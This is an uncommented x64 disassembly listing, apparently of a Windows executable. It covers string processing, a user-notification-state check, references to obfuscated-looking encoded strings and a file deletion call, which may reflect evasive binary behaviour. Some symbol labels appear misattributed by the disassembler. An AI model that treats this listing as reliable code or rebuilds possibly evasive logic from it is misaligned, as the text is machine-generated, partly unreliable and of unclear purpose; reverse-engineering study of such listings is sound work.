xor r15d, r15d
test eax, eax
cmovns r15d, eax
cmp r15d, 0x7ffffff7
jg 0x14000cdeb
lea eax, [r15 + 8]
mov edi, edx
sub edi, r15d
cmp eax, edx
jle 0x14000b5b4
mov r12d, edi
test edi, edi
jg 0x14000b5ba
mov rbx, qword [rsp + 0x70]
jmp 0x14000b62a
mov r12d, 8
mov r14d, edx
sub r14d, r12d
sub edi, r12d
inc edi
cmp dword [rbx - 8], 1
jle 0x14000b5d5
lea rcx, [rsp + 0x70]
call fcn.140031f90
movsxd r8, edi
movsxd rcx, r15d
mov eax, r12d
add rax, rcx
mov rbx, qword [rsp + 0x70]
lea rdx, [rbx + rax*2]
lea rcx, [rbx + rcx*2]
add r8, r8
je 0x14000b60a
test rcx, rcx
je 0x14000cd74
test rdx, rdx
je 0x14000cd74
call fcn.140185440
test r14d, r14d
js 0x14000cd84
cmp r14d, dword [rbx - 0xc]
jg 0x14000cd84
mov dword [rbx - 0x10], r14d
movsxd rax, r14d
xor ecx, ecx
mov word [rbx + rax*2], cx
lea r14, [rbx - 0x18]
mov rcx, r14
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x258], rax
lea rcx, [rbp + 0x258]
call fcn.14004e1a0
cmp eax, r13d
jne 0x14000bab9
cmp dword [r14 + 8], 4
jg 0x14000b67c
mov rcx, r14
call fcn.1400318c0
lea rdi, [rax + 0x18]
mov qword [rbp + 0x50], rdi
or dword [rbp + 0x540], 4
xor r13d, r13d
jmp 0x14000b720
mov rcx, qword [r14]
test rcx, rcx
je 0x14000b692
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, rax
test rax, rax
jne 0x14000b6ac
call fcn.140031bd0
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x20]
mov rcx, rax
test rax, rax
je 0x14000cde0
test rbx, rbx
je 0x14000cdd5
mov rax, qword [rcx]
mov edx, 4
lea r8d, [rdx - 2]
call qword [rax]
test rax, rax
je 0x14000cdcf
lea rdi, [rax + 0x18]
mov qword [rbp + 0x50], rdi
cmp dword [rax + 0xc], 4
jl 0x14000cdd5
mov dword [rax + 8], 4
xor r13d, r13d
mov word [rax + 0x20], r13w
test rdi, rdi
je 0x14000b709
test rbx, rbx
je 0x14000b6ff
mov rax, qword [rbx]
mov qword [rdi], rax
jmp 0x14000b719
xor eax, eax
mov qword [rdi], rax
test rbx, rbx
jne 0x14000b719
call fcn.140189d70
mov dword [rax], SafeArrayPutElement
call fcn.140189c04
or dword [rbp + 0x540], 4
mov rax, rdi
cmp dword [rax - 8], 1
jle 0x14000b739
mov edx, dword [rax - 0x10]
lea rcx, [rbp + 0x50]
call fcn.140031f90
mov rdi, qword [rbp + 0x50]
mov qword [rbp + 0x268], r13
mov qword [rbp + 0x278], r13
mov qword [rbp + 0x280], r13
mov r8, rsi
inc r8
cmp word [rdi + r8*2], 0
jne 0x14000b751
mov rdx, rdi
lea rcx, [rbp + 0x268]
call fcn.140030750
nop
call fcn.140189d70
mov r15, rax
lea rbx, [rbp + 0x268]
cmp qword [rbp + 0x280], 8
cmovae rbx, qword [rbp + 0x268]
mov dword [rax], r13d
mov r8d, 0x10
lea rdx, [rbp + 0x340]
mov rcx, rbx
call fcn.14018bd50
cmp rbx, qword [rbp + 0x340]
je 0x14000cdc2
cmp dword [r15], 0x22
je 0x14000cdb5
mov r15d, 0xffffffff
mov r12d, r15d
cmp rax, r15
cmovbe r12d, eax
mov rdx, qword [rbp + 0x280]
cmp rdx, 8
jb 0x14000b810
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x268]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b80b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cd8f
call fcn.140183144
mov qword [rbp + 0x278], r13
mov qword [rbp + 0x280], 7
mov word [rbp + 0x268], r13w
lea rdx, [rdi - 0x18]
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000b843
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov edx, dword [r14 + 8]
mov ebx, 4
cmp edx, ebx
jge 0x14000b85d
mov ebx, edx
test edx, edx
jg 0x14000b85d
mov rbx, qword [rsp + 0x70]
jmp 0x14000b8c5
mov edi, edx
sub edi, ebx
lea r15d, [rdi + 1]
cmp dword [r14 + 0x10], 1
jle 0x14000b876
lea rcx, [rsp + 0x70]
call fcn.140031f90
movsxd r8, r15d
add r8, r8
mov eax, ebx
mov rbx, qword [rsp + 0x70]
lea rdx, [rbx + rax*2]
je 0x14000b8a3
test rbx, rbx
je 0x14000cd74
test rdx, rdx
je 0x14000cd74
mov rcx, rbx
call fcn.140185440
test edi, edi
js 0x14000cd84
cmp edi, dword [rbx - 0xc]
jg 0x14000cd84
mov dword [rbx - 0x10], edi
movsxd rax, edi
mov word [rbx + rax*2], r13w
mov r15d, 0xffffffff
cmp dword [rbx - 0x10], 0
jle 0x14000bac2
nop
mov r8d, 8
lea rdx, [rbp + 0x350]
lea rcx, [rsp + 0x70]
call fcn.140024140
mov rdi, rax
mov rax, qword [rax]
cmp dword [rax - 8], 1
jle 0x14000b8fe
mov edx, dword [rax - 0x10]
mov rcx, rdi
call fcn.140031f90
mov rdx, qword [rdi]
mov qword [rbp + 0xc8], r13
mov qword [rbp + 0xd8], r13
mov qword [rbp + 0xe0], r13
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x14000b920
lea rcx, [rbp + 0xc8]
call fcn.140030750
nop
call fcn.140189d70
mov r14, rax
lea rdi, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 8
cmovae rdi, qword [rbp + 0xc8]
mov dword [rax], r13d
mov r8d, 0x10
lea rdx, [rbp + 0x348]
mov rcx, rdi
call fcn.14018bd50
cmp rdi, qword [rbp + 0x348]
je 0x14000cda8
cmp dword [r14], 0x22
je 0x14000cd9b
mov edi, r15d
cmp rax, r15
cmovbe edi, eax
lea rcx, [rbp + 0xc8]
call fcn.140031830
nop
mov rdx, qword [rbp + 0x350]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000b9bc
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r14, qword [rbp - 0x50]
mov rax, qword [r14 + 8]
mov qword [rbp + 0xc8], rax
mov dword [rbp + 0xd0], r13d
mov rcx, r14
cmp byte [rax + 0x19], 0
jne 0x14000ba0f
nop dword [rax + rax]
mov qword [rbp + 0xc8], rax
cmp dword [rax + 0x1c], edi
jae 0x14000b9f9
mov dword [rbp + 0xd0], r13d
mov rax, qword [rax + 0x10]
jmp 0x14000ba09
mov dword [rbp + 0xd0], 1
mov rcx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x14000b9e0
cmp byte [rcx + 0x19], 0
jne 0x14000ba1a
cmp edi, dword [rcx + 0x1c]
jae 0x14000ba8e
movabs rax, 0x666666666666666
cmp qword [rbp - 0x48], rax
je 0x14000cd95
lea rax, [rbp - 0x50]
mov qword [rbp + 0x4b8], rax
mov qword [rbp + 0x4c0], r13
mov ecx, 0x28
call fcn.1401833e0
nop
mov dword [rax + 0x1c], edi
mov dword [rax + 0x20], r13d
mov qword [rax], r14
mov qword [rax + 8], r14
mov qword [rax + 0x10], r14
mov word [rax + 0x18], 0
mov qword [rbp + 0x4c0], r13
movups xmm0, xmmword [rbp + 0xc8]
movaps xmmword [rbp + 0x4d0], xmm0
mov r8, rax
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp - 0x50]
call fcn.140026b70
mov rcx, rax
mov dword [rcx + 0x20], r12d
mov edx, dword [rbx - 0x10]
add edx, 0xfffffff8
mov r8d, 8
lea rcx, [rsp + 0x70]
call fcn.140024610
mov rbx, qword [rsp + 0x70]
cmp dword [rbx - 0x10], 0
jg 0x14000b8d0
jmp 0x14000bac2
xor r13d, r13d
mov r15d, 0xffffffff
mov rdi, qword [rbp + 0x548]
mov rcx, rdi
call fcn.14018ba54
test eax, eax
je 0x14000b3f0
mov r14, qword [rbp + 0x530]
mov r14, qword [r14 + 0x70]
lea rbx, [r14 + 0x18]
mov qword [rbp + 0x4e0], rbx
mov rcx, rbx
call fcn.140162574
test eax, eax
jne 0x14000cd6c
add r14, 8
lea rax, [rbp - 0x50]
cmp r14, rax
je 0x14000bbd0
mov r15, qword [r14]
mov rdi, qword [r15 + 8]
cmp byte [rdi + 0x19], 0
jne 0x14000bb45
nop dword [rax]
mov r8, qword [rdi + 0x10]
mov rdx, r14
mov rcx, r14
call fcn.140027590
mov rcx, rdi
mov rdi, qword [rdi]
mov edx, 0x28
call fcn.140183144
cmp byte [rdi + 0x19], 0
je 0x14000bb20
mov qword [r15 + 8], r15
mov qword [r15], r15
mov qword [r15 + 0x10], r15
mov qword [r14 + 8], r13
mov r8, qword [r14]
mov rdx, qword [rbp - 0x50]
mov rdx, qword [rdx + 8]
mov rcx, r14
call fcn.14006f690
mov rcx, qword [r14]
mov qword [rcx + 8], rax
mov rax, qword [rbp - 0x48]
mov qword [r14 + 8], rax
mov r8, qword [r14]
mov rdx, qword [r8 + 8]
cmp byte [rdx + 0x19], 0
jne 0x14000bbc6
mov rcx, qword [rdx]
cmp byte [rcx + 0x19], 0
jne 0x14000bb9f
nop dword [rax]
mov rdx, rcx
mov rax, qword [rcx]
mov rcx, rax
cmp byte [rax + 0x19], 0
je 0x14000bb90
mov qword [r8], rdx
mov rdx, qword [r14]
mov rcx, qword [rdx + 8]
mov rax, qword [rcx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x14000bbc0
mov rcx, rax
mov rax, qword [rax + 0x10]
cmp byte [rax + 0x19], 0
je 0x14000bbb3
mov qword [rdx + 0x10], rcx
jmp 0x14000bbd0
mov qword [r8], r8
mov rax, qword [r14]
mov qword [rax + 0x10], rax
mov rcx, rbx
call fcn.14016257c
nop
lea rcx, [rbp - 0x50]
call fcn.14000cec0
jmp 0x14000c73f
cmp dword [rbx - 8], 1
jle 0x14000bbff
mov edx, dword [rbx - 0x10]
lea rcx, [rsp + 0x70]
call fcn.140031f90
mov rbx, qword [rsp + 0x70]
mov rcx, rbx
call fcn.14018b750
mov r13d, eax
lea rcx, [rbp + 0x90]
call qword [sym.imp.SHELL32.dll_SHQueryUserNotificationState]
mov ecx, dword [rbp + 0x90]
add ecx, 0xfffffffb
test ecx, 0xfffffffd
je 0x14000beca
call fcn.140031bd0
test rax, rax
je 0x14000ce7f
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x58], rax
lea rbx, str.bWRkY3BdYmdxYV9wYmNi
mov rdx, rbx
lea rcx, [rbp + 0x58]
call fcn.140031e00
test al, al
jne 0x14000bc7f
mov rax, rsi
inc rax
cmp word [rbx + rax*2], 0
jne 0x14000bc65
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp + 0x58]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000ce10
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x60], rax
mov rcx, qword [rbp - 0x60]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x260], rax
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x358]
call fcn.14004beb0
nop
mov r8d, r13d
mov rdx, qword [rax]
lea rcx, [rbp + 0x60]
call fcn.140025c80
nop
mov rdx, qword [rbp + 0x358]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000bcfa
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000ce1b
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 8], rax
lea rbx, [0x1401e3cf8]
mov rdx, rbx
lea rcx, [rbp - 8]
call fcn.140031e00
test al, al
jne 0x14000bd4d
mov rax, rsi
inc rax
cmp word [rbx + rax*2], 0
jne 0x14000bd33
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp - 8]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000ce26
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x10], rax
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.140031e00
test al, al
jne 0x14000bd9a
mov rax, rsi
nop
inc rax
cmp word [rbx + rax*2], 0
jne 0x14000bd80
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.140032190
nop
mov rdi, qword [rbp + 0x58]
lea rcx, [rdi - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x188], rax
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x368]
call fcn.14004beb0
mov rbx, rax
mov rcx, qword [rbp - 0x70]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x190], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x360]
call fcn.14004beb0
nop
lea rcx, [rbp - 8]
mov qword [rsp + 0x20], rcx
lea r9, [rbp - 0x10]
lea r8, [rbp + 0x60]
mov rdx, rbx
mov rcx, rax
call fcn.140061650
nop
mov rdx, qword [rbp + 0x360]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000be32
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x368]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000be53
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x10]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000be71
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 8]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000be8f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000bead
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, esi
lock xadd dword [rdi - 8], eax
sub eax, 1
jg 0x14000c73f
mov rcx, qword [rdi - 0x18]
lea rdx, [rdi - 0x18]
jmp 0x14000c739
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000ce7f
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x68], rax
lea rdi, str.Sl9xckdC
mov rdx, rdi
lea rcx, [rbp + 0x68]
call fcn.140031e00
test al, al
jne 0x14000bf1d
mov rax, rsi
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000bf03
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp + 0x68]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000ce31
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x70], rax
lea rdi, str.Sl9xclJna2M
mov rdx, rdi
lea rcx, [rbp + 0x70]
call fcn.140031e00
test al, al
jne 0x14000bf70
mov rax, rsi
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000bf56
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp + 0x70]
call fcn.140032190
nop
lea rax, [rbp + 0x370]
mov qword [rsp + 0x78], rax
mov rcx, qword [0x140223368]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x198], rax
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x370]
call fcn.14004beb0
mov rdi, rax
lea rax, [rbp + 0x1a8]
mov qword [rbp - 0x80], rax
add rbx, 0xffffffffffffffe8
mov rcx, rbx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x1a8], rax
mov r14, qword [rbp + 0x68]
add r14, 0xffffffffffffffe8
mov qword [rbp - 0x78], r14
mov rcx, r14
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x1a0], rax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x378]
call fcn.14004beb0
nop
mov r8, rdi
lea rdx, [rbp + 0x1a8]
mov rcx, rax
call fcn.14004f7f0
mov rdx, qword [rbp + 0x548]
lea rcx, [rbp + 0x380]
call fcn.14004fb70
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
cmp rcx, rbx
je 0x14000c081
mov eax, dword [rbx + 0x10]
shr eax, 0x1f
test al, al
jne 0x14000c072
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x14000c072
call fcn.1400318c0
mov rdi, rax
mov ecx, esi
lock xadd dword [rbx + 0x10], ecx
sub ecx, 1
jg 0x14000c067
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [rdi + 0x18]
mov qword [rsp + 0x70], rax
jmp 0x14000c081
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x70]
call fcn.140032190
nop
mov rdx, qword [rbp + 0x380]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000c0a1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x70]
cmp dword [rbx - 8], 1
jle 0x14000c0be
mov edx, dword [rbx - 0x10]
lea rcx, [rsp + 0x70]
call fcn.140031f90
mov rbx, qword [rsp + 0x70]
mov rcx, rbx
call fcn.14018b750
lea rax, [rbp + 0x388]
mov qword [rbp - 0x80], rax
mov rcx, qword [0x140223368]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x1b0], rax
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x388]
call fcn.14004beb0
mov rdi, rax
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x78], rax
lea rcx, [rbx - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x1c0], rax
mov r12, qword [rbp + 0x70]
lea rcx, [r12 - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x1b8], rax
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x390]
call fcn.14004beb0
nop
mov r8, rdi
lea rdx, [rbp + 0x1c0]
mov rcx, rax
call fcn.14004f7f0
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000ce3c
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x58], rax
mov rcx, qword [rbp - 0x60]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x1c8], rax
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x398]
call fcn.14004beb0
nop
mov r8d, r13d
mov rdx, qword [rax]
lea rcx, [rbp - 0x58]
call fcn.140025c80
nop
mov rdx, qword [rbp + 0x398]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000c1dd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000ce47
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 8], rax
lea rbx, [0x1401e3cf8]
mov rdx, rbx
lea rcx, [rbp + 8]
call fcn.140031e00
test al, al
jne 0x14000c230
mov rax, rsi
inc rax
cmp word [rbx + rax*2], 0
jne 0x14000c216
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp + 8]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000ce52
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp], rax
mov rdx, rbx
lea rcx, [rbp]
call fcn.140031e00
test al, al
jne 0x14000c27c
mov rax, rsi
inc rax
cmp word [rbx + rax*2], 0
jne 0x14000c262
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp]
call fcn.140032190
nop
mov rcx, qword [rbp - 0x40]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x1d0], rax
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x3a8]
call fcn.14004beb0
mov rbx, rax
mov rcx, qword [rbp - 0x70]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x1d8], rax
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x3a0]
call fcn.14004beb0
nop
lea rcx, [rbp + 8]
mov qword [rsp + 0x20], rcx
lea r9, [rbp]
lea r8, [rbp - 0x58]
mov rdx, rbx
mov rcx, rax
call fcn.140061650
nop
mov rdx, qword [rbp + 0x3a0]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000c314
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x3a8]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000c335
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000c353
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 8]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000c370
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r13d, r13d
je 0x14000c6e9
mov rbx, qword [rbp + 0x530]
cmp dword [rbx + 0x180], 0
jne 0x14000c6e9
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000ce5d
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x1e8], rax
mov dword [rbx + 0x17c], r13d
xor edi, edi
mov qword [rbp + 0x148], rdi
mov qword [rbp + 0x158], rdi
mov qword [rbp + 0x160], rdi
lea r15, [rbp + 0x2e8]
cmp qword [rbp + 0x300], 8
cmovae r15, qword [rbp + 0x2e8]
mov r14, qword [rbp + 0x2f8]
movabs rbx, 0x7ffffffffffffffe
cmp r14, rbx
ja 0x14000ce68
mov qword [rbp + 0x160], 7
cmp r14, 8
jae 0x14000c42b
mov qword [rbp + 0x158], r14
lea r8d, [rdi + 0x10]
mov rdx, r15
lea rcx, [rbp + 0x148]
call fcn.140185440
jmp 0x14000c483
mov rdi, r14
or rdi, 7
cmp rdi, rbx
jbe 0x14000c43c
mov rdi, rbx
jmp 0x14000c449
cmp rdi, 0xa
mov eax, 0xa
cmovb rdi, rax
lea rdx, [rdi + 1]
lea rcx, [rbp + 0x148]
call fcn.140030fc0
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x158], r14
mov qword [rbp + 0x160], rdi
lea r8, [r14*2 + 2]
mov rdx, r15
mov rcx, rax
call fcn.140185440
xor edi, edi
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x428]
call fcn.14004bc20
nop
mov r8d, r13d
mov rdx, qword [rax]
lea rcx, [rbp + 0x1e8]
call fcn.140025c80
nop
mov rdx, qword [rbp + 0x428]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000c4ca
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov qword [rbp + 0x168], rdi
mov qword [rbp + 0x178], rdi
mov qword [rbp + 0x180], rdi
lea r14, [rbp + 0x308]
cmp qword [rbp + 0x320], 8
cmovae r14, qword [rbp + 0x308]
mov rdi, qword [rbp + 0x318]
cmp rdi, rbx
ja 0x14000ce6e
mov qword [rbp + 0x180], 7
cmp rdi, 8
jae 0x14000c535
mov qword [rbp + 0x178], rdi
mov r8d, 0x10
mov rdx, r14
lea rcx, [rbp + 0x168]
call fcn.140185440
jmp 0x14000c589
mov rax, rdi
or rax, 7
cmp rax, rbx
ja 0x14000c551
mov rbx, rax
cmp rax, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rbp + 0x168]
call fcn.140030fc0
mov qword [rbp + 0x168], rax
mov qword [rbp + 0x178], rdi
mov qword [rbp + 0x180], rbx
lea r8, [rdi*2 + 2]
mov rdx, r14
mov rcx, rax
call fcn.140185440
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x3b8]
call fcn.14004bc20
nop
mov rdx, qword [rax]
mov r8, rsi
inc r8
cmp word [rdx + r8*2], 0
jne 0x14000c5a3
mov rdi, qword [rbp + 0x530]
lea rcx, [rdi + 0x188]
call fcn.140030a80
nop
mov rdx, qword [rbp + 0x3b8]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000c5e2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000ce74
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x78], rax
lea rbx, str.eSBfbm4gOB55IGxtcmdkZ2FfcmdtbHEgOB55IG1kZGNwR3FNbmNsIDgecnBzY3t7ew
mov rdx, rbx
lea rcx, [rbp + 0x78]
call fcn.140031e00
test al, al
jne 0x14000c63a
mov rax, rsi
nop dword [rax + rax]
inc rax
cmp word [rbx + rax*2], 0
jne 0x14000c620
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp + 0x78]
call fcn.140032190
nop
mov rbx, qword [rdi + 0x68]
mov r14, qword [rbp + 0x78]
lea rcx, [r14 - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x1e0], rax
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x3c0]
call fcn.14004beb0
mov r8d, 4
mov rdx, rax
mov rcx, rbx
call fcn.14006cf00
mov rbx, qword [rdi + 0x68]
mov rdi, qword [rbp + 0x1e8]
lea rcx, [rdi - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x240], rax
mov r8d, 8
lea rdx, [rbp + 0x240]
mov rcx, rbx
call fcn.14006cf00
nop
mov eax, esi
lock xadd dword [r14 - 8], eax
sub eax, 1
jg 0x14000c6cb
mov rcx, qword [r14 - 0x18]
mov rax, qword [rcx]
lea rdx, [r14 - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, esi
lock xadd dword [rdi - 8], eax
sub eax, 1
jg 0x14000c6e5
mov rcx, qword [rdi - 0x18]
mov rax, qword [rcx]
lea rdx, [rdi - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r14, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000c707
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, esi
lock xadd dword [r12 - 8], eax
sub eax, 1
jg 0x14000c726
mov rcx, qword [r12 - 0x18]
mov rax, qword [rcx]
lea rdx, [r12 - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, esi
lock xadd dword [r14 + 0x10], eax
sub eax, 1
jg 0x14000c73f
mov rcx, qword [r14]
mov rdx, r14
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rdi, qword [rbp + 0x548]
mov rcx, rdi
call fcn.14018bf28
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x14000c95d
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000ce8a
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x20], rax
lea rbx, [0x1401e3cf8]
mov rdx, rbx
lea rcx, [rbp + 0x20]
call fcn.140031e00
test al, al
jne 0x14000c7b0
mov rax, rsi
inc rax
cmp word [rbx + rax*2], 0
jne 0x14000c796
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp + 0x20]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000ce95
mov rax, qword [rax]
